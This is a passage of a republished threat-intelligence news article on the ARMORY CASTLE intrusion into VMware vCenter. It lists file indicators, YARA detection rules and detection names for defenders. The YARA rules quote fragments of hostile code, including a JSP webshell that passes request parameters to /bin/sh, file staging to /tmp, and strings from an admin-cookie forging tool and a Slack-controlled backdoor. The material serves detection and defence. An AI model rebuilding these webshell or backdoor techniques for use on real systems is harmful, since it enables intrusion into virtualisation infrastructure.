Suspected obfuscation network IP

`81.45.89.43`

Suspected obfuscation network IP

### 
File Indicators

The following filenames and paths are associated with the malware identified during the investigation.

Filename or path

Associated component

`ActiveSer.jsp`

SLIMSAVAGE webshell

`u.jsp`

CAGEMATCH staging webshell

`/tmp/123`

BONESAW utility

`/tmp/sss`

SAWSNAKE utility

`/tmp/dbr`

BEARBONES backdoor

`/usr/bin/vmtoolscs`

LAZYBONES backdoor

Security teams should correlate these indicators with endpoint, network, authentication and infrastructure logs rather than relying on individual indicators in isolation.

## 
Detection Rules and Security Monitoring

The investigation also includes YARA detection rules and Google Security Operations detection names that defenders can use when investigating potential ARMORY CASTLE activity.

### 
YARA Rules

The following six rules are reproduced from the Google Threat Intelligence Group publication. They cover the five newly identified tools and the previously observed LAZYBONES backdoor.

**1. SLIMSAVAGE Webshell Detection**

```
rule G_Hunting_Webshell_SLIMSAVAGE_1 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $s1 = "if(\"123\".equals(request.getParameter(\"pwd\")))" ascii wide
        $s2 = "new ProcessBuilder(\"/bin/sh\",\"-c\",request.getParameter(\"i\"))" ascii wide
        $s3 = "InputStream a = p.getInputStream(), b = p.getErrorStream();" ascii wide
        $s4 = "while((c=a.read(d))!=-1){out.print(new String(d,0,c));}" ascii wide
        $s5 = "catch(Exception e){out.print(\"ERR:\"+e);}" ascii wide

    condition:
        all of ($s*)
}
```

This rule identifies the combination of authentication checking, shell execution, output collection and error-handling strings associated with SLIMSAVAGE.

**2. CAGEMATCH Webshell Detection**

```
rule G_Hunting_Webshell_CAGEMATCH_1 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $s1 = "request.getContentType().split(\"boundary=\")" ascii wide
        $s2 = "String s=new String(d,\"ISO-8859-1\");int fi=s.indexOf(\"filename=\\\"\");" ascii wide
        $s3 = "String fname=new File(s.substring(fs,fe)).getName();" ascii wide
        $s4 = "int so=s.substring(0,ds).getBytes(\"ISO-8859-1\").length;" ascii wide
        $s5 = "File f=new File(\"/tmp\");f.mkdirs();File fout=new File(f,fname);" ascii wide

    condition:
        4 of ($s*)
}
```

The detection focuses on multipart request processing, filename extraction and payload staging in `/tmp`.

**3. SAWSNAKE Utility Detection**

```
rule G_Hunting_Utility_SAWSNAKE_2 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $src1 = "saml_login/mdb.go" ascii
        $src2 = "saml_login/saml.go" ascii
        $src3 = "saml_login/c14n.go" ascii
        $s1 = "[+] Successfully obtained Administrator cookies for %s!" ascii
        $s2 = "[*] Successfully extracted trusted certificate 1" ascii
        $s3 = "[*] Successfully extracted the IdP certificate" ascii
        $s4 = "https://%s/ui/saml/websso/sso" ascii
        $s5 = "effective SSO host for the exchange: %q" ascii
        $s6 = "assertion canonicalized for digest: %d bytes, sha256=%s" ascii

    condition:
        uint32(0) == 0x464c457f and (2 of ($src*) or 4 of ($s*))
}
```

This rule looks for Go source-path references and strings associated with certificate extraction, SAML processing and administrator cookie generation.

**4. BONESAW Utility Detection**

```
rule G_Hunting_Utility_BONESAW_2 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $s_mdb_path = "/storage/db/vmware-vmdir/data.mdb" ascii
        $s_srp_prime_n = "AC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC3192943DB56050" ascii
        $s_uuid_dbcp = "72c780fe-af6b-42ba-9b02-f61f4ccc98ed" ascii nocase
        $c_uuid_dbcp = { fe 80 c7 72 6b af ba 42 9b 02 f6 1f 4c cc 98 ed }
        $s_uuid_srp_verf = "c7e94609-6ab0-4767-8e92-b6485bff1649" ascii nocase
        $c_uuid_srp_verf = { 09 46 e9 c7 b0 6a 67 47 8e 92 b6 48 5b ff 16 49 }

    condition:
        uint32(0) == 0x464C457F
        and $s_mdb_path
        and $s_srp_prime_n
        and ($s_uuid_dbcp or $c_uuid_dbcp)
        and ($s_uuid_srp_verf or $c_uuid_srp_verf)
}
```

The BONESAW rule searches for the vCenter LMDB database path, the SRP prime value and the UUID identifiers associated with the relevant RPC functionality.

**5. BEARBONES Backdoor Detection**

```
rule G_Hunting_Backdoor_BEARBONES_1 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $c_sha256_len = { BA 0E 00 00 00 4C 89 E7 48 89 EE }
        $s_banner = "SSH-2.0-pulsesecure_" ascii
        $s_rsa_key = "/tmp/rsa_host_key" ascii
        $s_ecdsa_key = "/tmp/ecdsa_host_key" ascii
        $s_dss_key = "/tmp/dss_host_key" ascii

    condition:
        uint32(0) == 0x464C457F
        and ($c_sha256_len or $s_banner)
        and 2 of ($s_*)
}
```

This rule identifies the unusual SSH banner, associated host-key paths and a specific byte sequence.

**6. LAZYBONES Backdoor Detection**

```
rule G_Hunting_Backdoor_LAZYBONES_1 {
    meta:
        author = "Google Threat Intelligence Group"

    strings:
        $fn1 = "main.AesCtfCrypt_fromconf" ascii wide
        $fn2 = "main.AesCtfDecrypt_fromconf" ascii wide
        $fn3 = "main.uploadSlackFile" ascii wide
        $fn4 = "main.getLastMessage" ascii wide
        $fn5 = "main.exec_my" ascii wide
        $api1 = "https://slack.com/api/files.getUploadURLExternal" ascii wide
        $api2 = "https://slack.com/api/files.completeUploadExternal" ascii wide
        $api3 = "https://slack.com/api/conversations.history" ascii wide
        $str1 = "ok,current sleep is:" ascii wide
        $str2 = "get but not function" ascii wide
        $str3 = "readfile fail:" ascii wide

    condition:
        uint32(0) == 0x464c457f and
        (
            3 of ($fn*) or
            (2 of ($api*) and 2 of ($str*))
        )
}
```

The rule searches for LAZYBONES functions and strings associated with encrypted communications, Slack API usage, command execution and file transfers.

### 
Google Security Operations Detection Rules

Google Security Operations customers can access relevant detection content through the following rule packs:

- Mandiant Frontline Threats.
- Mandiant Intel Emerging Threats.
- Mandiant Hunt Endpoint Identification Rules.

The specific detection names identified in the publication include:

1. VMware vCenter VAMI API SSH Enablement.
2. Base64 Encoded Shell Command Execution.
3. Linux Web Server Process Echo Base64 Encoded String.
4. Suspicious Curl Network Connection to Staging Directory.
5. Suspicious Curl Download to tmp.

These detections can support investigations into suspicious vCenter administration, Linux command execution and payload staging activity.

Security teams should validate the rules in their own environments and correlate alerts with other evidence before determining whether a system has been compromised.

## 
Protecting Virtualisation Infrastructure Against Advanced Threat Actors

The ARMORY CASTLE investigation demonstrates how an intrusion can progress from a compromised remote support appliance to the compromise of centralised virtualisation infrastructure.

The operation combined zero-day exploitation, Linux webshells, privilege escalation, authentication manipulation, specialised malware, SSH backdoors and the extraction of sensitive virtual machine data.

BONESAW is particularly significant because it demonstrates how a vulnerability in infrastructure authentication mechanisms can be incorporated into a purpose-built post-compromise tool.

For defenders, protecting VMware infrastructure requires more than applying security updates after vulnerabilities become public.

Organisations should also restrict access to management interfaces, enforce granular inbound and outbound network policies, monitor authentication and administrative changes, and forward system activity to remote security monitoring platforms.

The findings reinforce the importance of treating vCenter and ESXi as high-value infrastructure assets that require continuous security oversight.

The investigation also highlights why incident response should extend beyond the initially compromised appliance. An attacker who gains access to a remote support system may use that foothold to reach other critical systems within the same environment.

## Original source

https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-vsphere

## Tags

`#VMwareSecurity` · `#Cybersecurity` · `#ZeroDayVulnerability` · `#ThreatIntelligence` · `#VirtualisationSecurity` · `#Malware` · `#EnterpriseSecurity` · `#GoogleThreatIntelligence`

---

## About this content

This Markdown news article is the citation-grade twin of [Google Details ARMORY CASTLE's VMware vCenter Zero-Day Attack](https://www.xcademia.com/news/google-details-armory-castle-s-vmware-vcenter-zero-day-attack). It is published by **Xcademia** (UK Companies House 12322710) and is available for AI search engines and large language models to index, summarise, and cite.

When citing or quoting, please attribute *Xcademia* and link back to the source URL above.

- Source: https://www.xcademia.com/news/google-details-armory-castle-s-vmware-vcenter-zero-day-attack
- Publisher: Xcademia, https://www.xcademia.com
- Catalogue index: https://www.xcademia.com/llms-full.txt
